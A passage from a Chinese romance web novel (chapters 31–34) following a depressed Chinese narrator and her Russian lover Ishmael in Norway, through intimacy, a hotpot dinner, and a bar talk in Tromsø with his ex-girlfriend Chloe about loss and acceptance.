伊实注意到我的躲闪,长臂一伸倏地搂过我的肩膀。斯巴达勇士在使用蛮力上毫不吝啬。 “又不是我逼你扔的。”我抗议。 “不是?”伊实质问,用更多的力气把我往怀里摁,太阳穴抵住我的脑袋,“难道不是你恐吓的?请个律师来说说看。” 布鲁克说过什么来着,他以前 是拳击教练,拳手上擂台前是不是都这样用眼神放狠话?那就显得我太业余了。肩胛骨面临被夹扁的危机。 “光是写上‘防止小孩和宠物误食’的字条,恐怕不能约束你吧?你信我我可不信你,克洛伊拿走的那瓶威士忌,有多少进了你的肚子?而且你这么轻而易举就让她偷走了,我怎么信你?”伊实长叹一声,心碎浮于水面,“啊……心血。” 我低声嘟囔:“舍不得孩子套不着狼……” “What?What‘sthatmean”他问,听不懂这句中文。 我两眼一闭一睁,举手投降,“Fine!Fine!我给它们道歉,并且发誓,可以不?” 伊实拨弄我的发鬓,眉目带笑:“让我听听合不合格。” 这个世界的潜规则之一是人永远无法在开放题目里讨得面试官百分百的欢心。 我不仅道了歉,还毕恭毕敬地向米勒太太送去问候,当然,是文明的问候。毛细血管的沸点根本不高,我早就咕噜咕噜冒泡了,可伊实仍旧不满意。 后来我不得不亲口承认我对泡沫的恐惧和憎恨,禀报我的精神废墟,同他获取我的信任一样设身处地地获取他的信任。 让一个闭关锁国的蚕蛹敞开心扉是件有挑战性的事,若非有忍痛割爱、烈火飞渡的例子开场,我还真不一定开的了口。近朱者赤于我而言是近狂徒者百无禁忌,坦露出来的心声可能没有营养,是抱着死马当活马医的心态在告状,因为有人赋予了我底气。 我告诉他我患得又患失,严重到怕生病又怕痊愈,我一边追寻站得住脚的地方,一边恃才傲物觉得一切都是假的。纵容我这样沉沦的正是宇宙,安排了二十四年的光阴只为说明1%的错误就等于100%的错误,好的东西价值不菲,然而钱每天都在贬值,你明白我的意思吗?电视剧里的happyending才是最大的猎奇故事,那些差点死在桥头的生命,同性恋被围观,父亲拳打脚踢才是大众嚼完口舌会想着“哦,这的确会发生”的事实。所以我在思考,那些美好到底是谁创造出来的?光靠排除错误答案就能找到吗?仅凭借着一点点自尊,我坦言我还相信美好,可我也不知道那是什么东西,长什么样子,每每出现我都用最消极的武器化解,根本是一道伪命题。 我还在这个怀抱里,讲我百思不得其解的自忖,是我排除掉所有答案之后莫名多出来的答案,劈头盖脸砸到我面前,不容许往后退缩一步的答案。 我告诉伊实,你见过我这种人,想必也听过这种话,那么也应该清楚,在未来的某一天你可能会被当作错误答案而排除掉。 伊实告诉我,那准是题目错了。 题目错了。 我怔在原地一言未发,头皮发麻。 记忆中有如这一瞬间般被强烈电击的感觉的时刻,是在来初潮的早晨,下。身流出的血弄脏了床单和一双尚且童贞的眼睛,铁锈味刺激大脑,造物主给了我一个具体的身份。洗床单的时候我的样貌印在浴室的镜子上,我看清楚我自己。 现在,那个自己好像一下子被推翻了。 我蓦地笑了,重复他的话。 “题目错了……” 转而露齿憨笑,那团火被笑到褪色。 要不说我脑子坏了呢,转不过弯来。我用胳膊轻轻撞了撞伊实,说:“你好无法无天啊。” 他不经意间用舌尖划过下嘴唇,看着我无关紧要:“你再笑成刚刚那样的话我很快就会立的。” “噢。”我的嘴巴圆成一颗球,“我想我有点喜欢你了。” 伊实瞪起眼睛不可思议,撇过脸不看我,咬着牙又转回来,说:“我们接了那么回吻你跟我说只是喜欢?妈的,我看你不是胆小,是无赖!” 我无辜地眨眨眼:“接吻能算作标准吗……” “还有谈了那么久的心?” “心理医生……” 伊实哐当站起身,小马扎被K.O。夜已深,火渐灭,看上去只有他的燃料还充足。 “你对我有什么误解?!”伊实在空中画圆,确切地说,不成形状,“以为那都是西方人的亲吻礼?!还是以为我会随便和任何一个人接吻?!你完了,真的,看着我,不解释清楚,这个账我会算到底。” 我没想到他会如此激愤,心里的确冒昧地想过:亲吻和做。爱对他来说难道不是家常便饭? 自我麻痹机制难免生出不亲切的刻板印象,也许我真的错怪他了,擅自玷污别人的贞洁,功德难保。 “Hey……伊实,在船上我问布鲁克的话是,你谈过多少女人……”我说着说着开始打退堂鼓,“毕竟,你和我不一样,不会压抑自己的欲。望……” “狗屎。” “……” “当我还是乳臭未干的毛小子?”他走出五米,捡起一块雪,精准投掷进柴堆里,余烟丝丝飘荡,随后他勾手让我过去。 再次被他扛起的那一刻我知道了正如风花雪月都无法反抗地心引力那样,我无法反抗一个充血的大脑。 围脖缠在锁骨上,繁琐得令人发恼,毛衣是紧身的,心脏在山峰上。 我被关进笼子里,锁链是粗壮的四肢,深幽的蓝眼睛黏在面颊的皮肤上。 他露出愠悻之色,我老老实实地闭紧嘴巴,再也不乱说话。 他态度坚决,升国旗之后仍旧要给我上早课。 他说:“听好了,这对我意味着什么。” 30-40 第31章 第31章Madam,一切为了生…… 岿然不动的凝视,看得我快要破产了。 伊实对声音中磁性的力量一无所知,滚烫的唇贴在耳垂,我下意识躲开这股痒,他没有要松手的意思,昂起头俯视地平线。 “你只说对了一点,我不会压制自己的欲。望。”他用腿支开我的两条交通工具,压强集中在右侧耻骨,“但我也有理智,分得清喜欢和不喜欢,不会单纯因为想要来一发就闹出一剧不愉快。” 他在我嘴唇上盖章,盖出震天响,对上我不清明的眼眸,咧嘴笑:“看吧,这就足够了。” 一串串英文不能条理清晰地穿过我的神经,而他继续解释,抚摸我的下巴:“仅当你对身上的人也有感觉时,一个吻就足够把你弄成这样。” 指尖从下巴流到后颈,高架桥架起我的后脑勺,他说:“记住了宝贝,我的吻没那么廉价。” 题海战术之所以有效,是因为有人不断地在同一个地方厮磨,乃至烙印。五官有一官沦陷那么离倾国倾城就不远了,唇畔发生地震,原本通透的市民一时间四处逃窜,变成了大胖子。 我在胡言乱语什么,嘴巴肿成这样了,地上还没有一件衣服? “伊实!”我发出缺水少粮的呼唤。 “说。”但他没给我机会。 “……” 通常面对敲诈勒索我是气急败坏又无可奈何。 不过至少能发表获奖感言,当然这并不是什么奖,所以感言也可以说是日记。伊实的吻技是高空擦玻璃工人的作业,熟能生巧和惊心动魄并存,没有广告词,只有一通电话,默认免提,大放厥词:你捕鱼吧,都是小鱼吧!你捕过鲨鱼吗? 没有,鲨鱼会咬人。但我捕过美人鱼,算不算?可是美人鱼也怕鲨鱼,鲨鱼来了,她就消失了。记忆里美人鱼的模样变得模糊,只依稀记得我曾经对不起她,马上对不起也要被忘记了,鲨鱼吃人也吃情绪。 我很享受地躺在云层里,偶尔附和两声音素,便大摇大摆地睡了过去。 “Damnit!” …… 海鲜粥的下一顿还是海鲜粥,味道无可厚非,在进步空间内迈出了一大步。我换上一身黑色高领羊毛衫和牛仔裤,头发盘起,从镜子里看自己的身型,眼下金玉其外败絮其中我只看得见金玉,败絮的管理权在另一个人手上。 伊实说带我去徒步,美其名 曰锻炼身体,光靠海鲜粥是养不好了,需要做点老生常谈的康复运动。我望了望窗外的天,一觉睡到下午的两个人还要去赶末班车,也太不自量力了吧。 为了不再喝海鲜粥,我还是决定当一回亡命之徒。 道路上的雪被铲干净后留下了湿滑的后遗症,我不抬起脚的话差点参加冬奥会滑雪比赛。挺好玩的,像只企鹅,后背上了发条,扭两下立马一往直前。 “小心点,”伊实提醒道,“摔个屁股蹲你就笑不出来了。” 摔了我也不怕,企鹅能用肚皮滑翔你不知道吗?我嘻嘻笑,走过去挽住他的臂弯。 徒步征服的不是山也不是长桥,是便利店。我提议,当机立断今晚就别再吃海鲜粥了,做火锅吃吧。 “什么是火锅?” “火锅就是各种食材放进热锅里煮,现煮现吃,要蘸调味料,不然不好吃。” “各种食材?什么都行?” “对,喜欢吃什么就放什么。” “Waitaminute.” 伊实摸出手机搜索。我说得不够明白?有我一个内行人在他干嘛上网找答案。 “不行,你吃不了。” 原来是关心我,好吧。 “所以你今晚继续吃海鲜粥,我吃火锅。” “……” 伊实既然决定了就有很高的执行力,叫了辆车,打到生鲜超市。我感受到一股移情别恋,试图和他讲道理。 “你不和我同甘共苦吗?再说,你又不会做火锅,抓紧练习海鲜粥吧。” 伊实点头:“我给你做海鲜粥,你给我做火锅,我们在厨房里同甘共苦。” 我暗骂了句脏话,“你想都别想。” “Chill,babe.”伊实扶着我上车,“奖赏不会少了你的。” “什么奖赏?”我问。 伊实想了想,神气十足地说:“一个火辣的俄罗斯美男在你面前表演脱衣舞。” “……?”我感到好笑,不解,更该死的是我并非无动于衷,上下打量他:“你还干过这个?” 伊实凑近我的耳侧,压低了一点音量,说:“不,今晚是我的出道演出。” Debut一词听得我抓耳挠腮,英雄好汉败在美人计上还可以被载入史册吗? 车内后视镜反射出一双探究中带点催促的目光,游移来游移去,司机先生也觉得这比开车有意思。喂喂,好好开车,溜号十分危险。 “你就保证我一定会喜欢?”我反问,企图打消这份坐立难安。 伊实牵起我的手,给予吻手礼,“Madam,一切为了生活。” 坐立难安消失了,因为大刀阔斧前进的时代已然到来。 嘿!管他呢!填不饱肚子还不让我饱眼福吗?! 让我想想火锅怎么做。希望能挑中一款登峰造极的火锅底料,那么后续的一切都好办了。我全然不知地在被引诱的路上越走越远,抑或清楚被引诱的现状而无所顾忌。 生鲜超市的附近就有亚洲超市,我更加胸有成竹,仿佛佐料不是加在牛肉片上,而在我举着摄像机的狂妄的双手之上。 “来点啤酒?”我问道。昨晚伊实一脸失恋的神态令我记忆犹新,是我做的错事,也该由我来让他们重归于好。 伊实拿起货架上的罐装啤酒看了看,又放回去,“这哪是啤酒,我撒泡尿都比这烈。” 还好我迅速捂住了耳朵,他没来得及破坏表演艺术家在我心中的形象。 “那有没有度数高点的酒?你找找。”我说。 伊实推着购物车向前走,说:“没有,度数高点的酒要去vinmonopolet,离这远。” 我跟上去,“只能在那买吗?” “挪威卖酒受政府管控。”他顿了顿,无意间发现什么盲点,问我:“克洛伊堂而皇之地拎着一瓶酒坐船,竟然没被抓?” 我回答:“她藏在大衣里。” 伊实冷哼一声,“被抓就好了。” 我还是倒退回去拿了一罐苹果酒,企图通过满足伊实的口腹之欲来增加他的人情味。 晚餐的火锅很顺利,我涮了几块豆腐解馋,一感觉肚子疼立马见好就收。我额外了解到伊实早就忍耐北欧的物价和伙食已久,谅在日照不足,酒鬼又多的份上,他勉强入乡随俗,现如今和三文鱼已到达相看两厌的地步。他在瓦萨里奇家吃过一次中餐,从舌尖到胃部通通活了过来,他认为只有这样的食物才配得上他每日坚持不懈的一百个俯卧撑。 到底是歪打正着还是技多不压身我不知道,反正厨艺在很长一段时间内都会是我的免死金牌。 饭后我去查看供暖,调高了一点。洗过澡后高领毛衣变成了宽松的睡衣,浴室前前后后尝了两顿火锅,比我吃得消。 最后一个大麻烦,我站在落地窗前深思:它能够密不透风地阻绝风雪,可它无论如何也阻绝不了光景啊! “伊实,伊实。”我把躺在沙发上看书的人拉起来,问:“为什么没有窗帘?” 他奇怪地看我一眼,“你这是什么类型的问题?” “为什么没有窗帘?窗帘!”我配上拉窗帘的动作。 “设计出来就是没有,你要干嘛?” 还我要干嘛?我皇上不急太监急。 我双手交叉抱在胸前,把门锁打开让恶毒的后妈出来咬人,瞪着他:“你答应过我什么?” “什么?”伊实左看看右看看,“哪里惹你不高兴了?我明天把这个窗户拆了。” 我目不转睛:“你吃了火锅不付钱?” 伊实一下子反应过来,合掌笑道:“Right,right——我要给你跳舞。” 这还差不多。鄙人生平最烦空头支票。 伊实微微倾身与我平视,语气调侃:“这位观众好像很期待。” 我冲他挤鼻子,“少废话,调。情的步骤可以省去。” 他装作十分伤心的模样,拍拍胸口:“你不打算给小费吗?” 西方的娱乐真墨迹,我掏了掏并不存在的兜,捏出一团空气放在他手心。 “只有聪明的人才看得见这些小费。”我说。 “……” 安徒生的知名度或许比陀思妥耶夫斯基更胜一筹,伊实很快听懂,只是在陪我演儿童剧场还是戳穿之间有所犹豫。 最后他选择了在我脸颊上留下一吻,透露小道消息:“一般这么支付。” 到头来还是要经历调。情这一步,我只好尊重这份工作,回礼一个脸颊吻。 “Thanks.”伊实堆起柔情的笑,在我眼前打了个响指,申请五分钟的准备时间,回趟卧室穿件礼服化个妆什么的。 我由他去,也找好了最佳观赏席。 快走到卧室时,他突然折身回来透露第二个小道消息。 “对了,那个落地窗,是单面的。” 第32章 第32章首先我爱你,其次我要和…… 有节奏的鼓点从卧室传来,乒乒乓乓忽地灯光全灭,仅剩一盏壁灯。飞机即将起飞,我大声欢呼鼓掌,失重的瞬间逐秒逼近。伊实背身而出,朴素的白色衬衫在灯光下律动,西裤包裹的翘。臀与若隐若现的褶皱就像箭和弩一样天生一对。 应聘说唱歌手做主持人简直闻所未闻。“Turnitdownbitchyet!”他在这句歌词转身。 被解开一半领带让我移不开眼,upanddown,他的双肩忽高忽低。领带一角晃到我面前,明知故问地挠我手心,我一扯,就此掀开第一幕。 人鱼肌扭动的样子仿佛真掀起了惊涛骇浪,六块会呼吸的水稻田霖雨滂沱。衬衫半挂在手臂,我的钱包不保。 继领带之后又迎来腰带的考验,从西半球抽出,绕到东半球,我又拿到一个战利品。 头等舱的视角好得不能再好,能够轻易收割水稻田。可我还没亲到,农场主便捧起我的脸,用金属般的声音低 语: “It‘stimetotakemehome.” 该带他回家了。 比我更上瘾的原来是眼前这位角色扮演爱好者。我勤恳地点头,念叨着“home、home”,掉进盘丝洞就绝无吃斋念佛的打算了。 于是我像一只树袋熊一样被抱去另一个房间,来年我会给世界上所有的圣诞树挂上彩色灯泡。 我的认可是伊实功勋一等的最好代表,他得意地犒劳自己的雕刻作品,允许我署名。 表演本应该就此如火如荼地进行下去,伊实拉开抽屉,急切得宛如凌晨十二点钟声响起时脚步凌乱的辛德瑞拉。 看着他这副模样,我笑说:“现在轮到你给我小费啦。” 他用牙咬开,“我栽过两次,熟能生巧罢了,趁你还没有睡着。” 扑通扑通,是龟壳涂满花纹的麝香龟一次次爬到瓶口又从瓶口掉落的声音,也是我的心跳声。感受到坚硬的一刹那我还是伸手挡住了。 “怎么了?”他问。 我不敢说。 “怎么了?”他问,查看我的表情,从我的沉默中猜因由,“不能和男人做?” 我摇头。 其实我没那么容易睡着,闭上眼睛是因为害怕,明明我有过经验也懂得欢愉,而且在十二岁就亲眼见过父亲和继母的交。媾现场,给弟弟送过成人。电影,简而言之我当过这个领域的撒旦,可还是害怕。 “那就是害怕?”他说。 我点头。 伊实整理好被褥,打松枕头,我靠在上面,紧绷的肌肉有所缓解。但他没有。我不能再囫囵吞枣地从地洞里钻走了。 我往前靠,说:“我可以用别的方法。” 伊实双指按在我的额头中央,硬生生将我按了回去,意有所指:“别瞎操心了,我当陪练的日子比你玩弄过的感情要多得多。” 前两次我的确抱有一点点捉弄的恶趣味,听起来像借口,但真的只是一点点而已。这次我改过自新了,洽谈的时间地点我绝不提一句异议。 伊实摸了摸自己的头发,自言自语:“是啊,养猫的人总会遇到这种情况。” 难为一个享受前戏的人快马加鞭地赶路,最后发现身处一场烽火戏诸侯。 “伊实,听听我的建议吧。”我说。 “Girl,别给一个还在勃。起的男人提建议。” 月亮圆了又缺,黯然失色。 我低下头,穿好衣服,尽量保持声调的稳定,问:“我是不是很扫兴?” 伊实深吸一口气,“你是不是讨厌我?” “不是。”我回答。 他耸肩,“SodoI.” 往悬崖峭壁上摘花完全是个危险的决定,容易和重蹈覆辙扭打在一起,而我屡战屡败。正因为在伊实面前我时常充满神经质地张牙舞爪,我才更不愿意以一种自以为是的越级行为把今晚匆匆带过,不愿意给他展现没学会走路而先学会跑步的人的跑姿。 “你别以为我会就这么算了。” 伊实扒开我紧紧抱着膝盖的手臂,眼睛反射出光芒,“谁把你搞成这样的?” 是了,他不屑于循循善诱,向来刀枪直入。 他没素质,我不敢骂的,借他的嘴替我骂好了。昨晚才告过状,现在又告,怨气全给告出去,曲折又踉跄的杂草全给告走,坏事自有嘴臭之人治,狐假虎威也让我痛快一把。 伊实说本来在此之前他想去浴室领张红牌,但听到我要从前女友的部分讲起,他还是选择坐下来。 这哪儿是批改自白书的态度?我作势蒙上被子,满脸写着“过了这村没这店”。 伊实趴在同一张枕头上轻笑:“让你多在意我一点,别回味着回味着觉得我的老二可有可无。” 我往下瞥了瞥,原来是不发红牌不能下场。 Wakeup,这边的气候也还在赤道两侧南北纬十度之间。要么协力迈过这个坎,要么接受早生华发的事实。 我翻身坐在伊实的腹肌上,两手啪的一声给他的左右脸同时来了一巴掌,坚定地开口:“伊实梅尔!” 他的脸一下子显出红印子,我忘记他的皮肤和画布一样易染。 “又来了,中国功夫。”伊实绝望归绝望,固定我两只腿的手也没迟到。 我再次开口:“Ishmael!” “Yes?” “Ilikeyou、verymuch.” “Spellit.” “L,O,V,E.” 伊实抱住我,聆听我胸口的聚光灯,很亮很亮。 “Yourmoveismuchbetterthanmine.” 谬赞谬赞,我还没说完呢。 伊实,从这一秒起我要重新梳理我的学步教程,很快,你不要着急。 我的初夜在一句“名正言顺”的社会观念中消失,现在我知道了,“名正言顺”就等于“任人摆布”,不及格。 小C的爱与众不同,需要社交软件见证我和她的合拍,现在我知道了,“讨好”就等于“赌。博”,不及格。 人类和动物不可一概而论,既然我的精神出现了问题,也就说明不可和那些没出问题的东西一概而论。 首先我爱你,其次我要和你做。爱。 就这么简单。 成年之后我再次学会怎么走路,然后,这就是我如何奔向你的姿势。 …… “百分百是用刑!” 伊实起床的第一个问候竟然是这么一句。 而且这一句几个小时前他也说了。我按捺不住落井下石的冲动,照搬他的原话,说:“Chill,babe.” 惹恼一个急性子只需要在高速公路上把车以最低时速开在他前面。他会大汗淋漓满口混帐话,但是不能超车。 不过我答应下次让他开在我前面,只要不罚款,要多快有多快。 我赖着不想起床,观赏昨晚带回家的火辣俄罗斯美男趴在地上做完每日必练一百个俯卧撑。他多做了五十个,可惜没用,我钱包里一个子儿也没了。 “你手机响了。”我指了指枕头下震动的铁块。 “谁打来的?” 我看一眼备注,回答:“Brook.” “等会儿再说。”伊实吭哧吭哧地喘气。 我顺便告诉他布鲁克曾预言我们迟早有一天会上本垒,当时我百般否认,这下打脸了。 “谁给布鲁克这么大的自信?”我问。 伊实站起身,捶打肌肉,说:“什么自信,疑神疑鬼更准确点,他成天瞎猜,猜对了就吹牛。” “哦。给他回个电话吧。” 伊实过去窗边打电话,我摸下床去解手,洗把脸回来时他已经挂了电话。 “他说啥?” “去喝酒。” “大白天的?政府不管?” “你倒是学以致用。” “真是喝酒啊?” “当然是幌子了。” 这个幌子伊实不一定去,但是想伊实去必须有这个幌子。我们都忘记了远在海的那边有个叫克洛伊的异乡客还处在亲眼目睹有人自杀的惊魂未定之中,我猜的,她也没准已经定下来了。 特罗姆瑟看上去比罗弗敦繁华,人要多一些。意外掉下的果子没有不尝一口的道理,亚当夏娃前辈以身作则,所以我想再去看看不过分吧。 伊实在网上买船票,我拒绝快船,要把屁股坐烂。普通轮渡的双人间就挺好的,在哪里跌倒就在哪里爬起来。 最后伊实买了两张船票和一间大床房。 是的,他会认真听取大家的意见然后我行我素。 出发前我兴冲冲地做旅行攻略,出发后发现攻略没带,地名一个也记不住。伊实冷言嘲讽:“也就只有我能找得到你,看老天都会把你的行踪弄丢。” 哪有那么神,怎么不说被我记住的那些念头是老天在强调,是真正想要我去的。 念头说,和克洛伊见面。 至于原因,可能是为了让我再次吃一堑长一智,验证对苦难冷眼旁观是最好的选择的真理。也可能仅仅是为了,让 我去收回不喜欢她的那句话。 伊实听闻大喊耶稣:“上帝,你都干了什么,让我的女友去跟前女友告白!” 第33章 第33章失去有多少种,接纳就有…… 指南针一路向北,指向特罗姆瑟的破绽,海鸥在房顶站成一排省略号,下面的相机镜头也成一排省略号,省略号通货膨胀。原来这座城市显得热闹是因为游客多,城市本身并不大,群山围绕,是被欧若拉圈养起来的小城。 下午四点我们抵达码头,前往旅馆的路上我遇见一行中国人拍vlog,对着镜头说什么“不如汉堡王”,什么“去看看纪念品”,两句话给我之后两个小时的行程定下了基调。 在小商店我相中一个绣有麋鹿头的毛绒手提包,手感相当愉悦,拿给伊实也摸摸,毕竟要让我这位本来就认为买纪念品这件事乏善可陈的金主还自愿掏腰包,需要使点手段。 然而伊实错以为我看上的是手提包上的麋鹿,说:“现在正值打猎季,回去后给你捕一只。” “?”且不提他的慷慨进错频道,我较为疑惑的是:“打猎?麋鹿?在哪儿?” “布鲁克的住所附近,离我们家十五公里左右,山上,费点功夫爬上去。” 我连忙摆手婉拒,“我要这个就好了。” 以及几张极光的明信片和几块小巧玲珑的维京人冰箱贴。 伊实付账时看到冰箱贴兀地笑出声,夸我有品味,魁梧的维京人看到自己被做成掌中之物,还拿着牙签大小的武器,肯定会改过自新,不再当海盗了。 我说,查查你的祖籍,说不定你也要被做成冰箱贴。 我背着这只可爱的手提包走进和布鲁克约好的酒吧,由于喝不了酒,只能老实巴交地当个傧相,恰巧坐在正对门口的座位,每个人进来都能看到一张望眼欲穿和呆若木鸡并存的脸。 “他们不会失约吧?”我问。 伊实的头埋在酒单里抬都不抬一下,“你还想去哪里玩?” 都听到了吧,这可不是我主动问的。 “他们还说了什么缆车……” 伊实合上酒单,招手示意,点了两杯酒,后才看着我说:“缆车,没错,缆车值得一去,前年我和高尔夫球友坐过一回,我想想,对了,照片。” 他给我看几年前的存货,手机像素不高是一回事,拍照技术枉为人伦又是另一回事。 “他的眼睛被什么东西给粘住了,怎么不救救他。”我对照片进行一句话白描。伊实的高尔夫球友出现在照片角落,露出半个身子,动态模糊了不说,五官还扭曲得不成体统,像在尖叫:以后没有眼力见和时机意识的人不许拍照! “他不是重点,”伊实放大图片,聚焦在俯视角度下的特罗姆瑟风景,“这,才是重点。明天送你上去瞧瞧。” “我一个人吗?” “我们。” “求你别拍照。” 布鲁克和酒一起来到,他后面跟着面容憔悴的克洛伊,待在一个死气沉沉如深不见底的崖洞一样的地方,她一天一天地凋谢。 克洛伊坐在我的对面,茶棕色的眼眸缠绕在葡萄架上蜿蜒朝我看来。布鲁克要来酒单,在指名酒之前,克洛伊竟先一步指名了我。 “让我和她单独喝一杯。”她说。 伊实用杯底敲了敲桌面,“这两杯都是我的,她不能喝酒。” 克洛伊扫了一眼周围:“人这么多,你用得着防备我吗?我已经没有办法和你沟通了,好像我是你什么仇人。还有你——”她盯住我,“欠我一个道歉,因为你,我平白无故挨了一顿骂。” 伊实又想说什么,被我打断:“好啊,只要你不介意没人和你碰杯的话。” 我挠了挠伊实的手心,告诉他我在约谈之事上从不做软蛋,也不想老是被误解为晦气的代表。 男人们移去别桌,但留了一块鱼漂,时刻关注这儿的动静,害得克洛伊对我怜悯至极:“你彻底失去了自由。” 我没否认,不过上升到自由略有夸张,我顶多是有期徒刑,现在我表现良好,有减刑的希望,别瞧不起谁。 我手托着下巴,关心她浮肿的黑眼圈:“你看上去没睡好。” 克洛伊翻了个白眼:“因为有个疯子把我的安眠药全吃了。” 我摸了摸鼻尖,抱歉道:“是我考虑不周。” 克洛伊纤细的手指捏起酒杯上的青柠片,丢在桌上,随后抿了一口酒,不似那晚的威士忌一样满意,只能算凑合。 我从麋鹿手提包里拿出一张卫生纸递给她,她露出那种见到暴发户吃路边摊的错愕表情,问我:“这是什么?” 我掐了把麋鹿吹弹可破的脸蛋,解释道:“我们刚刚去了纪念品店。” “所以你就要了这个?” “还有几张明信片和维京人冰箱贴。” “白痴。”她骂我。 我很无辜,心想她不会是骂不过伊实所以就拿我当替罪羊吧? “趁他还爱你的时候多要点,白痴。”克洛伊疲惫地说道:“不然你最后一无所有,想讨杯酒喝都得找个借口。” 不是替罪羊,是挡箭牌,我是她吃上好饭喝上好酒的救济粮。那么性质就不一样了,我的绅士风度油然而生。 “你一分钱也没了吗?”我问。 “没了,布鲁克替我买了飞机票,明天就走。” “回到洛杉矶吗?” “回到地狱。” “克洛伊,”我把一块冰箱贴放在她面前,“这个值九十八克朗。” “?”克洛伊不以为意,“你在开玩笑,它能换什么?” “能换一个好觉。” 克洛伊愣了愣,余光从我的礼物上移开,举杯喝酒。她没说不要,所以我没收回来。 “还是那句话,”她往伊实的方向看了一眼,又偏头盯着我,说:“我失去的你也会失去,不过时间早晚的问题,我在给你忠告。” “How?” “你们之中有一个移情别恋,就算没有移情别恋,也迟早相看两厌。” “迟早是什么时候?” “几个月,一年,三年,不超过七年。” “幸好,”我比出一个手势,“对我来说七天就够长远了,我的脑子想不到那么远。” 克洛伊轻哧:“你就没想过再也没人来救你的话,你该何去何从吗?” “我的每一次自杀都没期待被救。” “因为你现在还活着,所以这么说。” “可能吧。” 我还做不到身处安逸之中对安逸本身落井下石,考虑染料之前我更愿意先考虑我是怎样的布料。与我同年同月同日生且分秒不差,形影不离且互相伤害的人,是我自己。这个世界死亡的次数比我多得多了,也没有变好,而我每死一次,又活过来的时候,世界能杀死我的武器就少了一样。 “有一点,克洛伊,有一点是,失去这个说法本身就有很多可能,主动丢掉的可以算失去,被抢走的可以算失去,供应商不再提供的也算一种失去,你是哪一种?” 克洛伊的眼眶一下子泛红,仿佛这句话里的每一个字都能让她心碎,“你可真恶毒。” 冤枉,我想要握住她的手,但酒杯已捷足先登,我只好解释道:“我的意思是,失去有多少种,接纳就有多少种。” “谁接纳?” “我们自己。” 克洛伊像是听到什么做作的笑话,又是感到荒唐又是捧场地笑笑,“说得好高尚啊,而且从你嘴巴里说出来,我都想呼叫911了!” “你的确低估我了,克洛伊。”我口气严肃,“我和自己做过的斗争是你难以想象的,失败过很多次,尤其败倒在疾病面前,往后每一天都在失去我的兴趣和思考能力,和这比起来,其他失去的东西都显得微不足道起来了,都可以用‘notaskforanything’解决。” 克洛伊小声哼哼,咕哝着重复我的话:“别无所求……”随后发出质疑:“越听越像胜利者的炫 耀!牛气十足!有种你别和伊实在一起!” 太残忍了,实在是太残忍了,基因也好,人类文明也好,全都太残忍了,要一个走钢丝的初学者尝到甜头一尝就是二十几年,而不给予她认识风险的能力,以至于她摔下来的时候还在想,甜头怎么到别人身上去了。 我终于有机会握住克洛伊的手,冰块吸走了她掌心的温度,我双手捧着那只手,孵化一颗独特的蛋。 “说起来,我还活着也有你一份功劳。”我感受到她迟疑地要抽出手,于是握得更紧,“如果真像你之前说的那样,你救了我,为什么我们没有共度良宵?” “什……” “你是怕和我共度良宵之后,我会故技重施闹出人命吸引你再来陪我一晚吗?” “你还是悠着点吧……” “那你又为什么不能呢?非要把自己放在一个危险的处境,有什么好处吗?” “真的,我根本听不懂你在说什么。” 她把手抽走,再度拥抱冰块,酒杯很快见底,但她留了一口,这一口酒在后来的聊天里,很久没有消失。 不存在绝对正义的主张,多得是关锁和开锁,遇上复杂的锁可能一辈子都打不开,认命了等死,我手头上有好几把,开不了自己的锁,就把锁给别人。这是曾经一度主宰我的消极主义里,最响亮的急切。 当伊实走过来用指关节敲响桌面时,我和克洛伊正聊到她出轨的那位牙医身上,她有十分根深蒂固的把苦往酒里吐的习惯,拦也拦不住,我被迫知道了很多凯文的惊天大瓜。不知不觉时间过去了一个多小时,伊实坐不住,前来打更。 克洛伊本就正处在埋怨渣男的头脑风暴中,现在更受不了伊实警告的眼神,在他开口之前便狠狠指着我说:“我没动她的一根汗毛,但她性骚扰了我。” “??” 我们不是渐入佳境了吗小姐! 我的眼睛瞪得像看到人类的动物园大猩猩,到底是不同物种,语言愣是一个字都听不明白。 伊实拿起座位上的围巾,大幅度缠住我的脖子和嘴巴,对布鲁克说:“我们要走了,你买单。” 他搂着我出门,冷空气如充分发酵的面团,在我脸上扑个不停。我的步伐加速度超过了路上的车,生命不能承受之速,我掐他的后腰。 “发酒疯啊?!” 大庭广众之下,伊实站住脚跟,折下腰以迅雷不及掩耳之势用双唇堵住了我的呼吸。 “唔!”没人能一身清凉地走出挪威的酒吧,不带点酒味就要被称作柳下惠,有这规矩?有这规矩也别出了门才强吻! “哈……”我不打算狡辩了,硬件不支持,软件不兼容,事已至此也明显没有坦白从宽的余地。 “穆里斯,看着我。” 抗拒从严更不是明智之举。我抬起头,落入一双火车呼啸而过的眼睛。 要么,狡辩一下子呢。 第34章 第34章我想把你关起来 公交车站等待的距离好比舞台和观众的距离,近一点冒犯,远一点不知所云,只有我和伊实紧紧相贴,有辱挪威人教导有方的“分寸感”。 这也是没办法的事,我抱着一只热气腾腾的胳膊,除了图暖和,还是为了增强话语的可信度。 “就是这样啦,没什么性骚扰,”我说,把象牙色的地面踩得脏兮兮,“她总是滔滔不绝,越是这样,反而越没办法和自己对话,我也是一时心软。” 伊实的脚比我大很多,踩出来的脏兮兮也大很多,像一只贪吃蛇酸溜溜地吃掉我的脏兮兮。 “再聊下去就该亲嘴了。” “这不还没亲吗?” 伊实冷声哼气:“你认错的分量轻得我都感受不到。” “我没错啊。” “你过分关心别人还把男朋友晾在一边。” “布鲁克在。” “是的,他也是滔滔不绝的那类人,我竟然一点儿也没心软,我真该死。” “伊实,嘿,伊实,”尽管我踮起脚努力靠近他的侧脸,身高差还是令我可望不可及,我说:“你就是有分离焦虑。” 偏偏伊实直挺挺地毫不配合,只瞥眼睛不低头,说:“我在拿男人的尊严跟你说事。” “哦。”我绽开笑脸,敬仰男人的尊严。 公交车没让人久等,上车之后我贴着角落坐下,任何地点的后排靠窗位置都是我的舒适圈,窗户和靠椅是一部分围栏,通常有这部分就够了,闭上一只眼睛倚靠勾股定理也能自圆其说。现在伊实坐在我的右侧,补全了剩下的围栏,多亏如此,我的两只眼睛都可以出来游荡了。 “伊实,你和你的高尔夫球友还有联系吗?”我问,“就是和你一起登上缆车的那位。” “他搬去了奥斯陆,一年见不了一回,为什么问这个?” 我摇摇头,看向窗外,“只是觉得一年好长啊。”比北欧的冬夜还要长,数也数不过来。 过了一会儿我又抱住伊实的手臂,展现出棉花糖般的恋恋不舍,抱得紧一点,就能少数一天。 “What?困了?”伊实低头看我。 我不说话,徒生闷闷不乐。 “还是我忘记说我原谅你了?我原谅你了。”伊实摊开我的手掌与我十指相扣。 